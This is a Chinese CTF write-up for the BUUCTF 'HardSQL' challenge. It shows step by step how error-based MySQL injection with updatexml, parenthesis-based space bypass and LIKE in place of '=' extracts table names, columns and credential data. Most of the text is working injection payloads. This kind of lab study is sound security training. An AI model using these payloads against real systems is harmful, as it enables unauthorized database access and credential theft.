极客大挑战2019Hardsql

极客大挑战2019Hardsql

测试点:BUUCTF

目标:sql注入

首先创建靶机,进入页面,分别输入username和password

1’or 1=1

123进行测试返回如下页面极客大挑战2019Hardsql_第1张图片

于是猜想这里应该过滤了空格或者是=,(之前尝试的盲注不合理)

于是我们输入payload:fumo‘ #进行尝试是否对空格进行过滤,发现这里确实是过滤了空格

对于空格的绕过我们可以采用/**/和()的方式(对于任何一个子查询并且给出值得语句我们都可以用()来进行包裹从而避免两边得空格)

极客大挑战2019Hardsql_第2张图片

尝试后发现确实是过滤了空格。在看了大佬得WP之后,发现这里考察的是一个报错注入的类型。

那我们首先尝试updatexml,构造payload:fumo’or(updatexml(1,‘~’,2))#返回正确的页面极客大挑战2019Hardsql_第3张图片

说明updatexml是行得通的,既然这样后面的思路就清晰了,先查数据库

构造fumo’or(updatexml(1,concat(0x7e,database(),ox7e),2))#

concat用于拼接字符串,从而达成报错的效果

极客大挑战2019Hardsql_第4张图片

成功返回了数据库,接下来查表名,构造payload如下

fumo’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))#

极客大挑战2019Hardsql_第5张图片

成功查询出表名,接着是列,构造payload如下:

fumo’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))#

极客大挑战2019Hardsql_第6张图片

拿下列明,最后一步查数据,构造payload如下:

fumo’or(updatexml(1,concat(0x7e,(select(group_concat(username,‘~’,password))from(H4rDsq1)),0x7e),1))#
极客大挑战2019Hardsql_第7张图片

拿到前一半flag

继续构造payload拿后一半,构造如下:

fumo’or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#

极客大挑战2019Hardsql_第8张图片

拿到后一半flag,进行拼接后提交;

涉及到的知识内容:

sql中绕过空格的操作(确定屏蔽字符可以上fuzz进行黑盒测试也行,不过空格还是要是手测)

=被过滤可以用like来绕过

报错注入的基本语法

以及在substring和mid被过滤时可以用right和left来绕过;

参考文章:大佬写的WP

如有错误还指正,一定改(

你可能感兴趣的:(数据库,sql,mysql)